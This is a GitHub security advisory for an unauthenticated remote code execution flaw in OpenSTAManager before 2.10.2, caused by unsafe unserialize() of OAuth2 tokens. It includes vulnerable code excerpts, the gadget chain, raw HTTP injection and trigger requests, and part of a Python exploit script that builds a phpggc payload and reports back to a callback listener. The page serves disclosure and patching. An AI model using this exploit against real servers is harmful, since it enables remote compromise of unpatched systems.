GitHub Advisoryadvisory · Packagist
GHSA-whv5-4q2f-q68g OpenSTAManager Affected by Remote Code Execution via Insecure Deserialization in OAuth2
HIGH
Official page ↗
- Aliases
- CVE-2026-29782
- Ecosystem
- Packagist
- Packages
- devcode-it/openstamanager
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-502
- Reviewed
- 2026-04-01
Affected packages
• Packagist devcode-it/openstamanager: < 2.10.2 → fixed in 2.10.2
Description
Description
The `oauth2.php` file in OpenSTAManager is an unauthenticated endpoint (`$skip_permissions = true`). It loads a record from the `zz_oauth2` table using the attacker-controlled GET parameter `state`, and during the OAuth2 configuration flow calls `unserialize()` on the `access_token` field without any class restriction.
An attacker who can write to the `zz_oauth2` table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in GHSA-2fr7-cc4f-wh98) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the `www-data` user.
Affected code
Entry point — `oauth2.php`
```php
$skip_permissions = true; // Line 23: NO AUTHENTICATION
include_once __DIR__.'/core.php';
$state = $_GET['state']; // Line 28: attacker-controlled
$code = $_GET['code'];
$account = OAuth2::where('state', '=', $state)->first(); // Line 33: fetches injected record
$response = $account->configure($code, $state); // Line 51: triggers the chain
```
Deserialization — `src/Models/OAuth2.php`
```php
// Line 193 (checkTokens):
$access_token = $this->access_token ? unserialize($this->access_token) : null;
// Line 151 (getAccessToken):
return $this->attributes['access_token'] ? unserialize($this->attributes['access_token']) : null;
```
`unserialize()` is called without the `allowed_classes` parameter, allowing instantiation of any class loaded by the Composer autoloader.
Execution flow
```
oauth2.php (no auth)
→ configure()
→ needsConfiguration()
→ getAccessToken()
→ checkTokens()
→ unserialize($this->access_token) ← attacker payload
→ Creates PendingBroadcast object (Laravel/RCE22 gadget chain)
→ $access_token->hasExpired() ← PendingBroadcast lacks this method → PHP Error
→ During error cleanup:
→ PendingBroadcast.__destruct() ← fires during shutdown
→ system($command) ← RCE
```
The HTTP response is 500 (due to the `hasExpired()` error), but the command has already executed via `__destruct()` during error cleanup.
Full attack chain
This vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module (GHSA-2fr7-cc4f-wh98) to achieve unauthenticated RCE:
1. Payload injection (requires admin account): Via `op=risolvi-conflitti-database`, arbitrary SQL is executed to insert a malicious serialized object into `zz_oauth2.access_token`
2. RCE trigger (unauthenticated): A GET request to `oauth2.php?state=&code=x` triggers the deserialization and executes the command
Persistence note: The `risolvi-conflitti-database` handler ends with `exit;` (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (`CREATE TABLE`/`DROP TABLE`) are included to force an implicit MySQL commit.
Gadget chain
The chain used is Laravel/RCE22 (available in phpggc), which exploits classes from the Laravel framework present in the project's dependencies:
```
PendingBroadcast.__destruct()
→ $this->events->dispatch($this->event)
→ chain of __call() / __invoke()
→ system($command)
```
Proof of Concept
Execution
Terminal 1 — Attacker listener:
```bash
python3 listener.py --port 9999
```
Terminal 2 — Exploit:
```bash
python3 exploit.py \
--target http://localhost:8888 \
--callback http://host.docker.internal:9999 \
--user admin --password
```
Observed result
Listener receives:
The `id` command was executed on the server as `www-data`, confirming RCE.
HTTP requests from the exploit
Step 4 — Injection (authenticated):
```
POST /actions.php HTTP/1.1
Cookie: PHPSESSID=
Content-Type: application/x-www-form-urlencoded
op=risolvi-conflitti-database&id_module=6&queries=["DELETE FROM zz_oauth2 WHERE state='poc-xxx'","INSERT INTO zz_oauth2 (id,name,class,client_id,client_secret,config,state,access_token,after_configuration,is_login,enabled) VALUES (99999,'poc','Modules\\\\Emails\\\\OAuth2\\\\Google','x','x','{}','poc-xxx',0x,'',0,1)","CREATE TABLE IF NOT EXISTS _t(i INT)","DROP TABLE IF EXISTS _t"]
```
Step 5 — Trigger (NO authentication):
```
GET /oauth2.php?state=poc-xxx&code=x HTTP/1.1
(No cookies — completely anonymous request)
```
Response: HTTP 500 (expected — the error occurs after `__destruct()` has already executed the command)
Exploit — `exploit.py`
```python
!/usr/bin/env python3
"""
OpenSTAManager v2.10.1 — RCE PoC (Arbitrary SQL → Insecure Deserialization)
Usage:
python3 listener.py --port 9999
python3 exploit.py --target http://localhost:8888 --callback http://host.docker.internal:9999 --user admin --password Test1234
"""
import argparse
import json
import random
import re
import string
import subprocess
import sys
import time
try:
import requests
except ImportError:
print("[!] pip install requests")
sys.exit(1)
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
BOLD = "\033[1m"
DIM = "\033[2m"
RESET = "\033[0m"
BANNER = f"""
{RED}{'=' * 58}{RESET}
{RED}{BOLD} OpenSTAManager v2.10.1 — RCE Proof of Concept{RESET}
{RED}{BOLD} Arbitrary SQL → Insecure Deserialization{RESET}
{RED}{'=' * 58}{RESET}
"""
def log(msg, status="*"):
icons = {"*": f"{BLUE}*{RESET}", "+": f"{GREEN}+{RESET}", "-": f"{RED}-{RESET}", "!": f"{YELLOW}!{RESET}"}
print(f" [{icons.get(status, '*')}] {msg}")
def step_header(num, title):
print(f"\n {BOLD}── Step {num}: {title} ──{RESET}\n")
def generate_payload(container, command):
step_header(1, "Generate Gadget Chain Payload")
log("Checking phpggc in container...")
result = subprocess.run(["docker", "exec", container, "test", "-f", "/tmp/phpggc/phpggc"], capture_output=True)
if result.returncode != 0:
log("Installing phpggc...", "!")
proc = subprocess.run(
["docker", "exec", container, "git", "clone", "https://github.com/ambionics/phpggc", "/tmp/phpggc"],
capture_output=True, text=True,
)
if proc.returncode != 0:
log(f"Failed to install phpggc: {proc.stderr}", "-")
sys.exit(1)
log(f"Command: {DIM}{command}{RESET}")
result = subprocess.run(
["docker", "exec", container, "php", "/tmp/phpggc/phpggc", "Laravel/RCE22", "system", command],
capture_output=True,
)
if result.returncode != 0:
log(f"phpggc failed: {result.stderr.decode()}", "-")
sys.exit(1)
payload_bytes = result.stdout
log(f"Payload: {BOLD}{len(payload_bytes)} bytes{RESET}", "+")
return payload_bytes
def authenticate(target, username, password):
step_header(2, "Authenticate")
session = requests.Session()
log(f"Logging in as '{username}'...")
resp = session.post(
f"{target}/index.php",
data={"op": "login", "username": username, "password": password},
allow_redirects=False, timeout=10,
)
location = resp.headers.get("Location", "")
if resp.status_code != 302 or "index.php" in location:
log("Login failed! Wrong credentials or brute-force lockout (3 attempts / 180s).", "-")
sys.exit(1)
session.get(f"{target}{location}", timeout=10)
log("Authenticated", "+")
return session
def find_module_id(session, target, container):
step_header(3, "Find 'Aggiorn…
Related
Alias · CVE (1)
- CVE-2026-29782 OpenSTAManager is an open source management software for technical assistance and invoicing. vulnerability
Weakness · CWE (1)
- CWE-502 Deserialization of Untrusted Data weakness
References
- https://github.com/devcode-it/openstamanager/security/advisories/GHSA-whv5-4q2f-q68g web
- https://nvd.nist.gov/vuln/detail/CVE-2026-29782 advisory
- https://github.com/devcode-it/openstamanager/commit/d2e38cbdf91a831cefc0da1548e02b297ae644cc web
- https://github.com/devcode-it/openstamanager package
- https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2 web